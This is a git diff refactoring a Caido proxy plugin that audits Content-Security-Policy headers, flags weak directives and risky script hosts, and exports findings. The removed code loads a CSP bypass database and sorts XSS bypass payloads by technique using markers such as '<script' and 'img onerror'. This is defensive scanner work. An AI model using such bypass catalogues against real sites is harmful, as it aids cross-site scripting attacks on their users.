"N/A" }; - return { - ...vuln, - host: hostPath.host, - path: hostPath.path, - analyzedAt: analysis?.analyzedAt?.toISOString() ?? null, - }; - }); - - return JSON.stringify( - { - exportedAt: new Date().toISOString(), - totalFindings: allVulnerabilities.length, - findings: enrichedFindings, - }, - null, - 2, - ); - } else { - const headers = [ - "ID", - "Type", - "Severity", - "Directive", - "Value", - "Description", - "Host", - "Path", - "Analyzed At", - "Request ID", - ]; - const rows = allVulnerabilities.map((vuln) => { - const analysis = analyses.find((a) => a.requestId === vuln.requestId); - const hostPath = analysis - ? extractHostAndPath(analysis) - : { host: "N/A", path: "N/A" }; - return [ - vuln.id, - vuln.type, - vuln.severity, - vuln.directive, - vuln.value, - vuln.description.replace(/[",]/g, ""), - hostPath.host, - hostPath.path, - analysis?.analyzedAt?.toISOString() ?? "N/A", - vuln.requestId, - ]; - }); - - return [headers, ...rows].map((row) => row.join(",")).join("\n"); - } -}; - -const clearCspCache = (sdk: SDK<API, Events>): Promise<void> => { - const count = analysisCache.size; - analysisCache.clear(); - sdk.console.log(`Cleared CSP analysis cache (${count} entries)`); - sdk.api.send("analysisUpdated"); - return Promise.resolve(); -}; - -const processWorkflowCspAnalysis = async ( - sdk: SDK<API, Events>, - requestData: { id: string; host: string; path: string }, - responseData: { headers: Record<string, string[]> }, - request?: unknown, -): Promise<CspAnalysisResult | undefined> => { - try { - const requestId = requestData.id; - const url = `${requestData.host}${requestData.path}`; - - const cspHeadersData = CspParser.extractCspHeaders(responseData.headers); - - if (cspHeadersData.length === 0) { - return undefined; - } - - const policies: CspPolicy[] = []; - const allVulnerabilities: CspVulnerability[] = []; - - for (const headerData of cspHeadersData) { - const policy = CspParser.parsePolicy( - headerData.name, - headerData.value, - requestId, - url, + const headers = response.getHeaders(); + const cspHeaders = extractCspHeaders(headers); + if (cspHeaders.length === 0) return; + + if (getScopeEnabled() && !_sdk.requests.inScope(request)) return; + + await processResponse( + { + id: request.getId(), + host: request.getHost(), + path: request.getPath(), + }, + { headers }, + request, ); - policies.push(policy); - - const vulnerabilities = EnhancedCspAnalyzer.analyzePolicy( - policy, - cspCheckSettings, + } catch (error) { + sdk.console.error( + `CSP analysis failed: ${error instanceof Error ? error.message : String(error)}`, ); - allVulnerabilities.push(...vulnerabilities); } + }); - const analysisResult: CspAnalysisResult = { - requestId, - policies, - vulnerabilities: allVulnerabilities, - analyzedAt: new Date(), - }; - - analysisCache.set(requestId, analysisResult); - - sdk.console.log( - `CSP Analysis complete: ${allVulnerabilities.length} vulnerabilities found, createFindings: ${createFindings}`, - ); - - sdk.api.send("analysisUpdated"); - - if ( - createFindings === true && - allVulnerabilities.length > 0 && - typeof request !== "undefined" - ) { - try { - const title = `CSP Vulnerabilities - ${policies.length} polic${policies.length === 1 ? "y" : "ies"} found`; - const description = - `Found ${allVulnerabilities.length} CSP vulnerability/vulnerabilities across ${policies.length} polic${policies.length === 1 ? "y" : "ies"}:\n\n` + - allVulnerabilities - .map( - (vuln) => - `• ${vuln.type} (${vuln.severity}): ${vuln.directive} - ${vuln.description}`, - ) - .join("\n"); - - await sdk.findings.create({ - title, - description, - reporter: "CSP Auditor", - request: request as Request, - dedupeKey: `csp-${requestData.host}-${requestData.path}`, - }); - - sdk.console.log( - `Created finding for CSP vulnerabilities in ${requestId}`, - ); - } catch (error) { - sdk.console.error( - `Failed to create finding: ${error instanceof Error ? error.message : String(error)}`, - ); - } - } - - return analysisResult; - } catch (error) { - sdk.console.error( - `CSP analysis failed: ${error instanceof Error ? error.message : String(error)}`, - ); - return undefined; - } -}; - -const setScopeRespecting = ( - sdk: SDK, - respectScopeEnabled: boolean, -): Promise<void> => { - respectScope = respectScopeEnabled; - sdk.console.log( - `CSP Auditor scope setting updated: ${respectScope ? "respecting scope" : "ignoring scope"}`, - ); - return Promise.resolve(); -}; - -const getScopeRespecting = (sdk: SDK): Promise<boolean> => { - return Promise.resolve(respectScope); -}; - -const setCreateFindings = ( - sdk: SDK, - createFindingsEnabled: boolean, -): Promise<void> => { - createFindings = createFindingsEnabled; - sdk.console.log( - `CSP Auditor findings creation updated: ${createFindings ? "enabled" : "disabled"} (value: ${createFindings})`, - ); - return Promise.resolve(); -}; - -const getCreateFindings = (sdk: SDK): Promise<boolean> => { - return Promise.resolve(createFindings); -}; - -const getCspCheckSettings = (sdk: SDK): Promise<Record<string, boolean>> => { - return Promise.resolve(cspCheckSettings); -}; - -const setCspCheckSettings = ( - sdk: SDK, - settings: Record<string, boolean>, -): Promise<void> => { - cspCheckSettings = { ...settings }; - sdk.console.log( - `CSP check settings updated: ${Object.keys(settings).length} checks configured`, - ); - return Promise.resolve(); -}; - -const updateCspCheckSetting = ( - sdk: SDK, - checkId: string, - enabled: boolean, -): Promise<void> => { - cspCheckSettings[checkId] = enabled; - sdk.console.log(`CSP check setting updated: ${checkId} = ${enabled}`); - return Promise.resolve(); -}; - -interface BypassEntry { - domain: string; - code: string; - technique: string; - id: string; -} - -const getBypassDatabase = (sdk: SDK): Promise<BypassEntry[]> => { - try { - const bypassCount = getBypassCount(); - sdk.console.log(`Loading CSP bypass database (${bypassCount} entries)`); - - const tsvContent = getCSPBypassData(); - const entries = parseTSV(tsvContent); - sdk.console.log( - `Successfully loaded ${entries.length} bypass entries from TSV data`, - ); - return Promise.resolve(entries); - } catch (error) { - sdk.console.error( - `Failed to load bypass database: ${error instanceof Error ? error.message : String(error)}`, - ); - return Promise.resolve([]); - } -}; - -const parseTSV = (tsvContent: string): BypassEntry[] => { - const lines = tsvContent.trim().split("\n"); - const entries: BypassEntry[] = []; - - // Skip header line - for (let i = 1; i < lines.length; i++) { - const line = lines[i]; - if (line === undefined || line.trim() === "") continue; - const [domain, code] = line.split("\t"); - if ( - domain !== undefined && - domain.trim() !== "" && - code !== undefined && - code.trim() !== "" - ) { - entries.push({ - domain: domain.trim(), - code: code.trim(), - technique: detectTechnique(code.trim()), - id: `${domain.trim()}-${i}`, - }); - } - } - - return entries; -}; - -const detectTechnique = (code: string): string => { - if (code.includes("callback=") || code.includes("cb=")) return "JSONP"; - if (code.includes("ng-") || code.includes("angular")) return "AngularJS"; - if (code.includes("x-init") || code.includes("alpine")) return "Alpine.js"; - if (code.includes("hx-")) return "HTMX"; - if (code.includes('_="')) return "Hyperscript"; - if (code.includes("<script")) return "Script Injection"; - if (code.includes("<img") && code.includes("onerror")) return "Event Handler"; - if (code.includes("<link") && code.includes("onload")) return "Link Preload"; - if (code.includes("<iframe")) return "Iframe Injection"; - return "XSS"; -}; - -export type Events = DefineEvents<{ - analysisUpdated: () => void; -}>; - -export type API = DefineAPI<{ - analyzeCspHeaders: typeof analyzeCspHeaders; - getCspAnalysis: typeof getCspAnalysis; - getAllCspAnalyses: typeof getAllCspAnalyses; - getCspStats: typeof getCspStats; - exportCspFindings: typeof exportCspFindings; - clearCspCache: typeof clearCspCache; - processWorkflowCspAnalysis: typeof processWorkflowCspAnalysis; - setScopeRespecting: typeof setScopeRespecting; - getScopeRespecting: typeof getScopeRespecting; - setCreateFindings: typeof setCreateFindings; - getCreateFindings: typeof getCreateFindings; - getCspCheckSettings: typeof getCspCheckSettings; - setCspCheckSettings: typeof setCspCheckSettings; - updateCspCheckSetting: typeof updateCspCheckSetting; - getBypassDatabase: typeof getBypassDatabase; -}>; - -export function init(sdk: SDK<API, Events>) { - sdk.api.register("analyzeCspHeaders", analyzeCspHeaders); - sdk.api.register("getCspAnalysis", getCspAnalysis); - sdk.api.register("getAllCspAnalyses", getAllCspAnalyses); - sdk.api.register("getCspStats", getCspStats); - sdk.api.register("exportCspFindings", exportCspFindings); - sdk.api.register("clearCspCache", clearCspCache); - sdk.api.register("processWorkflowCspAnalysis", processWorkflowCspAnalysis); - sdk.api.register("setScopeRespecting", setScopeRespecting); - sdk.api.register("getScopeRespecting", getScopeRespecting); - sdk.api.register("setCreateFindings", setCreateFindings); - sdk.api.register("getCreateFindings", getCreateFindings); - sdk.api.register("getCspCheckSettings", getCspCheckSettings); - sdk.api.register("setCspCheckSettings", setCspCheckSettings); - sdk.api.register("updateCspCheckSetting", updateCspCheckSetting); - sdk.api.register("getBypassDatabase", getBypassDatabase); - - try { - sdk.events.onInterceptResponse(async (sdk, request, response) => { - try { - const responseHeaders = response.getHeaders(); - const headerNames = Object.keys(responseHeaders).map((h) => - h.toLowerCase(), - ); - const cspHeaderNames = headerNames.filter( - (h) => - h.includes("content-security-policy") || - h.includes("x-content-security-policy") || - h.includes("x-webkit-csp"), - ); - - if (cspHeaderNames.length > 0) { - if (respectScope) { - const inScope = sdk.requests.inScope(request); - if (!inScope) { - return; - } - } - - const requestData = { - id: request.getId(), - host: request.getHost(), - path: request.getPath(), - }; - - const responseData = { - headers: responseHeaders, - }; - - await processWorkflowCspAnalysis( - sdk, - requestData, - responseData, - request, - ); - } - } catch (error) { - sdk.console.error(`Error processing response: ${error}`); - } - }); - } catch (error) { - sdk.console.warn(`Could not enable real-time monitoring: ${error}`); - } + sdk.console.log("CSP Auditor v2.0 initialized"); } diff --git a/packages/backend/src/node-types.d.ts b/packages/backend/src/node-types.d.ts deleted file mode 100644 index ebd1483..0000000 --- a/packages/backend/src/node-types.d.ts +++ /dev/null @@ -1,12 +0,0 @@ -// Global types for Node.js environment -declare global { - class URL { - constructor(input: string, base?: string | URL); - readonly hostname: string; - readonly protocol: string; - readonly host: string; - readonly pathname: string; - } -} - -export {}; diff --git a/packages/backend/src/sdk.ts b/packages/backend/src/sdk.ts new file mode 100644 index 0000000..f7209fa --- /dev/null +++ b/packages/backend/src/sdk.ts @@ -0,0 +1,14 @@ +import type { BackendSDK } from "./types"; + +let sdk: BackendSDK | undefined; + +export function setSDK(instance: BackendSDK): void { + sdk = instance; +} + +export function requireSDK(): BackendSDK { + if (sdk === undefined) { + throw new Error("SDK not initialized"); + } + return sdk; +} diff --git a/packages/backend/src/security-analyzer.ts b/packages/backend/src/security-analyzer.ts deleted file mode 100644 index 6cbe852..0000000 --- a/packages/backend/src/security-analyzer.ts +++ /dev/null @@ -1,257 +0,0 @@ -import { BlacklistManager } from "./blacklists"; -import { CspParser } from "./csp-parser"; -import type { CspDirective, CspPolicy, CspVulnerability } from "./types"; -import { extractDomain, generateId } from "./utils"; -import { VULNERABILITY_RULES } from "./vulnerability-rules"; - -export class SecurityAnalyzer { - static analyzePolicy(policy: CspPolicy): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // Check for deprecated header - if (policy.isDeprecated) { - vulnerabilities.push( - this.createVulnerability( - "deprecated-header", - policy.headerName, - policy.headerName, - policy.requestId, - ), - ); - } - - // Analyze each directive - for (const [, directive] of policy.directives) { - vulnerabilities.push( - ...this.analyzeDirective(directive, policy.requestId), - ); - } - - return this.deduplicateVulnerabilities(vulnerabilities); - } - - private static analyzeDirective( - directive: CspDirective, - requestId: string, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // Check script-related directives - if (CspParser.isScriptDirective(directive.name)) { - vulnerabilities.push(...this.checkScriptSources(directive, requestId)); - } - - // Check style-related directives - if (CspParser.isStyleDirective(directive.name)) { - vulnerabilities.push(...this.checkStyleSources(directive, requestId)); - } - - // Check for blacklisted hosts in any directive - vulnerabilities.push(...this.checkBlacklistedHosts(directive, requestId)); - - // Check for general wildcard usage (low severity) - if ( - CspParser.hasWildcard(directive) && - !CspParser.isScriptDirective(directive.name) && - !CspParser.isStyleDirective(directive.name) - ) { - vulnerabilities.push( - this.createVulnerability( - "wildcard-limited", - directive.name, - "*", - requestId, - ), - ); - } - - return vulnerabilities; - } - - private static checkScriptSources( - directive: CspDirective, - requestId: string, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // Check for wildcard in script sources - if (CspParser.hasWildcard(directive)) { - vulnerabilities.push( - this.createVulnerability( - "script-wildcard", - directive.name, - this.getWildcardValues(directive), - requestId, - ), - ); - } - - // Check for unsafe-inline - if (CspParser.hasUnsafeInline(directive)) { - vulnerabilities.push( - this.createVulnerability( - "script-unsafe-inline", - directive.name, - "'unsafe-inline'", - requestId, - ), - ); - } - - // Check for unsafe-eval - if (CspParser.hasUnsafeEval(directive)) { - vulnerabilities.push( - this.createVulnerability( - "script-unsafe-eval", - directive.name, - "'unsafe-eval'", - requestId, - ), - ); - } - - return vulnerabilities; - } - - private static checkStyleSources( - directive: CspDirective, - requestId: string, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // Check for wildcard in style sources - if (CspParser.hasWildcard(directive)) { - vulnerabilities.push( - this.createVulnerability( - "style-wildcard", - directive.name, - this.getWildcardValues(directive), - requestId, - ), - ); - } - - // Check for unsafe-inline in styles - if (CspParser.hasUnsafeInline(directive)) { - vulnerabilities.push( - this.createVulnerability( - "style-unsafe-inline", - directive.name, - "'unsafe-inline'", - requestId, - ), - ); - } - - return vulnerabilities; - } - - private static checkBlacklistedHosts( - directive: CspDirective, - requestId: string, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - const hostSources = CspParser.getHostSources(directive); - - for (const source of hostSources) { - const domain = extractDomain(source.value); - const domainIssues = BlacklistManager.checkDomainVariants(domain); - - for (const issue of domainIssues) { - if (issue.type === "user-content") { - vulnerabilities.push( - this.createVulnerability( - "user-content-host", - directive.name, - source.value, - requestId, - ), - ); - } else if (issue.type === "vulnerable-js") { - vulnerabilities.push( - this.createVulnerability( - "vulnerable-js-host", - directive.name, - source.value, - requestId, - ), - ); - } - } - } - - return vulnerabilities; - } - - private static getWildcardValues(directive: CspDirective): string { - return directive.sources - .filter((source) => source.isWildcard) - .map((source) => source.value) - .join(", "); - } - - private static createVulnerability( - type: CspVulnerability["type"], - directive: string, - value: string, - requestId: string, - ): CspVulnerability { - const rule = VULNERABILITY_RULES[type]; - - return { - id: generateId(), - type, - severity: rule.severity, - directive, - value, - description: rule.description, - remediation: rule.remediation, - cweId: rule.cweId, - requestId, - }; - } - - private static deduplicateVulnerabilities( - vulnerabilities: CspVulnerability[], - ): CspVulnerability[] { - const seen = new Set<string>(); - const deduplicated: CspVulnerability[] = []; - - for (const vuln of vulnerabilities) { - const key = `${vuln.type}-${vuln.directive}-${vuln.value}`; - if (!seen.has(key)) { - seen.add(key); - deduplicated.push(vuln); - } - } - - return deduplicated; - } - - static getSeverityOrder(severity: CspVulnerability["severity"]): number { - const order = { high: 3, medium: 2, low: 1, info: 0 }; - return order[severity]; - } - - static sortVulnerabilitiesBySeverity( - vulnerabilities: CspVulnerability[], - ): CspVulnerability[] { - return [...vulnerabilities].sort( - (a, b) => - this.getSeverityOrder(b.severity) - this.getSeverityOrder(a.severity), - ); - } - - static getVulnerabilityStats( - vulnerabilities: CspVulnerability[], - ): Record<string, number> { - const stats = { high: 0, medium: 0, low: 0, info: 0, total: 0 }; - - for (const vuln of vulnerabilities) { - stats[vuln.severity]++; - stats.total++; - } - - return stats; - } -} diff --git a/packages/backend/src/services/analysisService.ts b/packages/backend/src/services/analysisService.ts new file mode 100644 index 0000000..0641b19 --- /dev/null +++ b/packages/backend/src/services/analysisService.ts @@ -0,0 +1,169 @@ +import type { Request } from "caido:utils"; +import type { + AnalysisResult, + AnalysisSummary, + ParsedPolicy, + PolicyFinding, + SeverityLevel, +} from "shared"; + +import { buildDefaultCheckState } from "../data"; +import { analyzePolicy, extractCspHeaders, parsePolicyHeader } from "../engine"; +import { requireSDK } from "../sdk"; + +const MAX_CACHE_ENTRIES = 10_000; +const analysisCache = new Map<string, AnalysisResult>(); +let scopeEnabled = true; +let findingsEnabled = false; +let checkSettings: Record<string, boolean> = buildDefaultCheckState(); + +type RequestData = { + id: string; + host: string; + path: string; +}; + +type ResponseData = { + headers: Record<string, string[]>; +}; + +export async function processResponse( + requestData: RequestData, + responseData: ResponseData, + request?: Request, +): Promise<AnalysisResult | undefined> { + const sdk = requireSDK(); + const url = `${requestData.host}${requestData.path}`; + const cspHeaders = extractCspHeaders(responseData.headers); + + if (cspHeaders.length === 0) return undefined; + + const policies: ParsedPolicy[] = []; + const allFindings: PolicyFinding[] = []; + + for (const header of cspHeaders) { + const policy = parsePolicyHeader( + header.name, + header.value, + requestData.id, + url, + ); + policies.push(policy); + allFindings.push(...analyzePolicy(policy, checkSettings)); + } + + const result: AnalysisResult = { + requestId: requestData.id, + policies, + findings: allFindings, + analyzedAt: new Date(), + }; + + if (analysisCache.size >= MAX_CACHE_ENTRIES) { + const oldest = analysisCache.keys().next().value; + if (oldest !== undefined) analysisCache.delete(oldest); + } + analysisCache.set(requestData.id, result); + sdk.api.send("analysisUpdated"); + + if (findingsEnabled && allFindings.length > 0 && request !== undefined) { + const highCount = allFindings.filter((f) => f.severity === "high").length; + const medCount = allFindings.filter((f) => f.severity === "medium").length; + const title = `CSP: ${allFindings.length} issues found (${highCount} high, ${medCount} medium)`; + const lines = allFindings.map( + (f) => + `**${f.checkId}** (${f.severity.toUpperCase()}) - ${f.directive}\n` + + `${f.description}\n` + + `**Remediation:** ${f.remediation}`, + ); + const description = lines.join("\n\n"); + + try { + await sdk.findings.create({ + title, + description, + reporter: "CSP Auditor", + request, + dedupeKey: `csp-${requestData.host}-${requestData.path}`, + }); + } catch { + sdk.console.error(`Failed to create finding for ${requestData.host}`); + } + } + + return result; +} + +export function getAnalysis(requestId: string): AnalysisResult | undefined { + return analysisCache.get(requestId); +} + +export function getAllAnalyses(): AnalysisResult[] { + return Array.from(analysisCache.values()).sort( + (a, b) => b.analyzedAt.getTime() - a.analyzedAt.getTime(), + ); +} + +export function computeSummary(): AnalysisSummary { + const analyses = Array.from(analysisCache.values()); + const allFindings = analyses.flatMap((a) => a.findings); + + const severityCounts: Record<SeverityLevel, number> = { + high: 0, + medium: 0, + low: 0, + info: 0, + }; + const checkIdCounts: Record<string, number> = {}; + + for (const finding of allFindings) { + severityCounts[finding.severity]++; + checkIdCounts[finding.checkId] = (checkIdCounts[finding.checkId] ?? 0) + 1; + } + + const lastAnalyzedAt = analyses.reduce<Date | undefined>((latest, a) => { + if (latest === undefined) return a.analyzedAt; + return a.analyzedAt > latest ? a.analyzedAt : latest; + }, undefined); + + return { + totalAnalyses: analyses.length, + totalFindings: allFindings.length, + severityCounts, + checkIdCounts, + lastAnalyzedAt, + }; +} + +export function clearCache(): void { + analysisCache.clear(); + requireSDK().api.send("analysisUpdated"); +} + +export function getScopeEnabled(): boolean { + return scopeEnabled; +} + +export function setScopeEnabled(enabled: boolean): void { + scopeEnabled = enabled; +} + +export function getFindingsEnabled(): boolean { + return findingsEnabled; +} + +export function setFindingsEnabled(enabled: boolean): void { + findingsEnabled = enabled; +} + +export function getCheckSettings(): Record<string, boolean> { + return { ...checkSettings }; +} + +export function setCheckSettings(settings: Record<string, boolean>): void { + checkSettings = { ...settings }; +} + +export function updateSingleCheck(checkId: string, enabled: boolean): void { + checkSettings[checkId] = enabled; +} diff --git a/packages/backend/src/services/exportService.test.ts b/packages/backend/src/services/exportService.test.ts new file mode 100644 index 0000000..a7b8fa8 --- /dev/null +++ b/packages/backend/src/services/exportService.test.ts @@ -0,0 +1,71 @@ +import type { AnalysisResult } from "shared"; + +import { exportAsCsv, exportAsJson } from "./exportService"; + +function fakeAnalysis(overrides?: Partial<AnalysisResult>): AnalysisResult { + return { + requestId: "req-1", + policies: [ + { + id: "p-1", + requestId: "req-1", + headerName: "content-security-policy", + headerValue: "default-src 'self'", + directives: new Map(), + isReportOnly: false, + isDeprecated: false, + parsedAt: new Date("2025-01-01"), + url: "https://example.com/page", + }, + ], + findings: [ + { + id: "f-1", + checkId: "script-wildcard", + severity: "high", + directive: "script-src", + value: "*", + description: "Wildcard detected", + remediation: "Remove wildcard", + requestId: "req-1", + }, + ], + analyzedAt: new Date("2025-01-01"), + ...overrides, + }; +} + +describe("exportAsJson", () => { + it("formats findings as JSON with metadata", () => { + const json = exportAsJson([fakeAnalysis()]); + const parsed = JSON.parse(json); + expect(parsed.totalFindings).toBe(1); + expect(parsed.findings[0].checkId).toBe("script-wildcard"); + expect(parsed.findings[0].host).toBe("example.com"); + expect(parsed.exportedAt).toBeDefined(); + }); + + it("handles empty analyses", () => { + const json = exportAsJson([]); + const parsed = JSON.parse(json); + expect(parsed.totalFindings).toBe(0); + expect(parsed.findings).toHaveLength(0); + }); +}); + +describe("exportAsCsv", () => { + it("formats findings as CSV with headers", () => { + const csv = exportAsCsv([fakeAnalysis()]); + const lines = csv.split("\n"); + expect(lines[0]).toContain("ID,Check,Severity"); + expect(lines[1]).toContain("script-wildcard"); + expect(lines[1]).toContain("high"); + }); + + it("handles empty analyses", () => { + const csv = exportAsCsv([]); + const lines = csv.split("\n"); + expect(lines).toHaveLength(1); + expect(lines[0]).toContain("ID,Check,Severity"); + }); +}); diff --git a/packages/backend/src/services/exportService.ts b/packages/backend/src/services/exportService.ts new file mode 100644 index 0000000..111f952 --- /dev/null +++ b/packages/backend/src/services/exportService.ts @@ -0,0 +1,99 @@ +import type { AnalysisResult } from "shared"; + +export function exportAsJson(analyses: AnalysisResult[]): string { + const allFindings = analyses.flatMap((a) => { + const { host, path } = extractHostAndPath(a); + return a.findings.map((f) => ({ + ...f, + host, + path, + analyzedAt: a.analyzedAt.toISOString(), + })); + }); + + return JSON.stringify( + { + exportedAt: new Date().toISOString(), + totalFindings: allFindings.length, + findings: allFindings, + }, + undefined, + 2, + ); +} + +function escapeCsvCell(value: string): string { + if ( + value.includes(",") || + value.includes('"') || + value.includes("\n") || + value.includes("\r") + ) { + return `"${value.replace(/"/g, '""')}"`; + } + return value; +} + +export function exportAsCsv(analyses: AnalysisResult[]): string { + const headers = [ + "ID", + "Check", + "Severity", + "Directive", + "Value", + "Description", + "Host", + "Path", + "Analyzed At", + "Request ID", + ]; + + const rows = analyses.flatMap((a) => { + const { host, path } = extractHostAndPath(a); + return a.findings.map((f) => + [ + f.id, + f.checkId, + f.severity, + f.directive, + f.value, + f.description, + host, + path, + a.analyzedAt.toISOString(), + f.requestId, + ].map(escapeCsvCell), + ); + }); + + return [headers, ...rows].map((row) => row.join(",")).join("\n"); +} + +function extractHostAndPath(analysis: AnalysisResult): { + host: string; + path: string; +} { + const firstPolicy = analysis.policies[0]; + + if (firstPolicy?.url !== undefined && firstPolicy.url.trim() !== "") { + try { + let raw = firstPolicy.url; + if (!raw.startsWith("http://") && !raw.startsWith("https://")) { + raw = `https://${raw}`; + } + + const parsed = new URL(raw); + return { host: parsed.hostname, path: parsed.pathname || "/" }; + } catch { + const parts = firstPolicy.url.split("/"); + const hostPart = parts[0]; + return { + host: + hostPart !== undefined && hostPart.trim() !== "" ? hostPart : "N/A", + path: "/", + }; + } + } + + return { host: "N/A", path: "N/A" }; +} diff --git a/packages/backend/src/services/index.ts b/packages/backend/src/services/index.ts new file mode 100644 index 0000000..6365d4b --- /dev/null +++ b/packages/backend/src/services/index.ts @@ -0,0 +1,16 @@ +export { + processResponse, + getAnalysis, + getAllAnalyses, + computeSummary, + clearCache, + getScopeEnabled, + setScopeEnabled, + getFindingsEnabled, + setFindingsEnabled, + getCheckSettings, + setCheckSettings, + updateSingleCheck, +} from "./analysisService"; + +export { exportAsJson, exportAsCsv } from "./exportService"; diff --git a/packages/backend/src/types.ts b/packages/backend/src/types.ts index 91335ff..25f3b86 100644 --- a/packages/backend/src/types.ts +++ b/packages/backend/src/types.ts @@ -1,87 +1,8 @@ -export interface CspSource { - value: string; - type: "keyword" | "scheme" | "host" | "nonce" | "hash" | "unsafe"; - isWildcard: boolean; - isUnsafe: boolean; -} +import type { DefineEvents, SDK } from "caido:plugin"; +import type { BackendEventMap } from "shared"; -export interface CspDirective { - name: string; - values: string[]; - implicit: boolean; - sources: CspSource[]; -} +import type { API } from "."; -export interface CspPolicy { - id: string; - requestId: string; - headerName: string; - headerValue: string; - directives: Map<string, CspDirective>; - isReportOnly: boolean; - isDeprecated: boolean; - parsedAt: Date; - url?: string; -} +export type BackendEvents = DefineEvents<BackendEventMap>; -export type VulnerabilityType = - // Legacy vulnerabilities - | "script-wildcard" - | "script-unsafe-inline" - | "script-unsafe-eval" - | "style-wildcard" - | "style-unsafe-inline" - | "user-content-host" - | "vulnerable-js-host" - | "deprecated-header" - | "wildcard-limited" - - // Enhanced modern vulnerabilities - | "script-data-uri" - | "object-wildcard" - | "jsonp-bypass-risk" - | "angularjs-bypass" - | "missing-trusted-types" - | "missing-require-trusted-types" - | "missing-essential-directive" - | "permissive-base-uri" - | "nonce-unsafe-inline-conflict" - - // Modern threat categories - | "ai-ml-host" - | "web3-host" - | "cdn-supply-chain" - | "supply-chain-risk" - | "privacy-tracking-risk" - | "gaming-metaverse-risk"; - -export type Severity = "high" | "medium" | "low" | "info"; - -export interface CspVulnerability { - id: string; - type: VulnerabilityType; - severity: Severity; - directive: string; - value: string; - description: string; - remediation: string; - cweId?: number; - requestId: string; -} - -export interface CspAnalysisResult { - requestId: string; - policies: CspPolicy[]; - vulnerabilities: CspVulnerability[]; - analyzedAt: Date; -} - -export interface CspCheckSettings { - [key: string]: { - enabled: boolean; - name: string; - category: string; - severity: Severity; - description: string; - }; -} +export type BackendSDK = SDK<API, BackendEvents>; diff --git a/packages/backend/src/utils.ts b/packages/backend/src/utils.ts deleted file mode 100644 index 3617c58..0000000 --- a/packages/backend/src/utils.ts +++ /dev/null @@ -1,47 +0,0 @@ -import { randomBytes } from "crypto"; - -export function generateId(): string { - return randomBytes(16).toString("hex"); -} - -export function normalizeUrl(url: string): string { - try { - // eslint-disable-next-line compat/compat - const urlObj = new URL(url); - return `${urlObj.protocol}//${urlObj.host}`; - } catch { - return url; - } -} - -export function extractDomain(url: string): string { - try { - // eslint-disable-next-line compat/compat - const urlObj = new URL(url); - return urlObj.hostname; - } catch { - return url; - } -} - -export function matchesPattern(value: string, pattern: string): boolean { - // Simple wildcard matching for CSP patterns - if (pattern === "*") return true; - - if (pattern.startsWith("*")) { - const suffix = pattern.substring(1); - return value.endsWith(suffix); - } - - if (pattern.endsWith("*")) { - const prefix = pattern.substring(0, pattern.length - 1); - return value.startsWith(prefix); - } - - return value === pattern; -} - -export function isSubdomainOf(subdomain: string, domain: string): boolean { - if (subdomain === domain) return true; - return subdomain.endsWith("." + domain); -} diff --git a/packages/backend/src/utils/domainMatching.test.ts b/packages/backend/src/utils/domainMatching.test.ts new file mode 100644 index 0000000..b940f01 --- /dev/null +++ b/packages/backend/src/utils/domainMatching.test.ts @@ -0,0 +1,63 @@ +import { + isUserContentHost, + isVulnerableJsHost, + stripDomainPrefix, +} from "./domainMatching"; + +describe("stripDomainPrefix", () => { + it("strips https:// protocol", () => { + expect(stripDomainPrefix("https://example.com/path")).toBe("example.com"); + }); + + it("strips http:// protocol", () => { + expect(stripDomainPrefix("http://example.com")).toBe("example.com"); + }); + + it("strips path after domain", () => { + expect(stripDomainPrefix("example.com/foo/bar")).toBe("example.com"); + }); + + it("lowercases domain", () => { + expect(stripDomainPrefix("EXAMPLE.COM")).toBe("example.com"); + }); +}); + +describe("isUserContentHost", () => { + it("matches exact domain", () => { + expect(isUserContentHost("github.com")).toBe(true); + }); + + it("matches wildcard pattern", () => { + expect(isUserContentHost("test.github.io")).toBe(true); + }); + + it("returns false for non-matching domain", () => { + expect(isUserContentHost("example.com")).toBe(false); + }); +}); + +describe("isVulnerableJsHost", () => { + it("matches domain with empty paths", () => { + const result = isVulnerableJsHost("cdn.jsdelivr.net"); + expect(result.isVulnerable).toBe(true); + }); + + it("matches domain with matching path", () => { + const result = isVulnerableJsHost( + "cdnjs.cloudflare.com", + "/ajax/libs/angular.js/1.6.0/angular.js", + ); + expect(result.isVulnerable).toBe(true); + expect(result.risk).toBeDefined(); + }); + + it("matches subdomain", () => { + const result = isVulnerableJsHost("sub.cdn.jsdelivr.net"); + expect(result.isVulnerable).toBe(true); + }); + + it("returns false for safe domain", () => { + const result = isVulnerableJsHost("example.com"); + expect(result.isVulnerable).toBe(false); + }); +}); diff --git a/packages/backend/src/utils/domainMatching.ts b/packages/backend/src/utils/domainMatching.ts new file mode 100644 index 0000000..64c3ea4 --- /dev/null +++ b/packages/backend/src/utils/domainMatching.ts @@ -0,0 +1,56 @@ +import { randomBytes } from "crypto"; + +import { USER_CONTENT_HOST_PATTERNS } from "../data/userContentHosts"; +import { VULNERABLE_JS_HOST_ENTRIES } from "../data/vulnerableJsHosts"; + +export function createUniqueId(): string { + return randomBytes(16).toString("hex"); +} + +function isSubdomainMatch(subdomain: string, domain: string): boolean { + if (subdomain === domain) return true; + return subdomain.endsWith(`.${domain}`); +} + +export function stripDomainPrefix(domain: string): string { + return domain + .toLowerCase() + .replace(/^https?:\/\//, "") + .replace(/[/:?#].*$/, ""); +} + +export function isUserContentHost(domain: string): boolean { + const clean = stripDomainPrefix(domain); + + return USER_CONTENT_HOST_PATTERNS.some((pattern) => { + if (pattern.startsWith("*.")) { + const suffix = pattern.substring(2); + return clean === suffix || clean.endsWith(`.${suffix}`); + } + return clean === pattern; + }); +} + +export function isVulnerableJsHost( + domain: string, + path?: string, +): { isVulnerable: boolean; risk?: string } { + const clean = stripDomainPrefix(domain); + + for (const entry of VULNERABLE_JS_HOST_ENTRIES) { + if (clean === entry.domain || isSubdomainMatch(clean, entry.domain)) { + if (entry.paths.length === 0) { + return { isVulnerable: true, risk: entry.risk }; + } + + if (path !== undefined && path.trim() !== "") { + const pathMatch = entry.paths.some((p) => path.includes(p)); + if (pathMatch) { + return { isVulnerable: true, risk: entry.risk }; + } + } + } + } + + return { isVulnerable: false }; +} diff --git a/packages/backend/src/utils/findings.ts b/packages/backend/src/utils/findings.ts new file mode 100644 index 0000000..077a2e0 --- /dev/null +++ b/packages/backend/src/utils/findings.ts @@ -0,0 +1,32 @@ +import type { CheckId, PolicyFinding } from "shared"; +import { CHECK_REGISTRY } from "shared"; + +import { 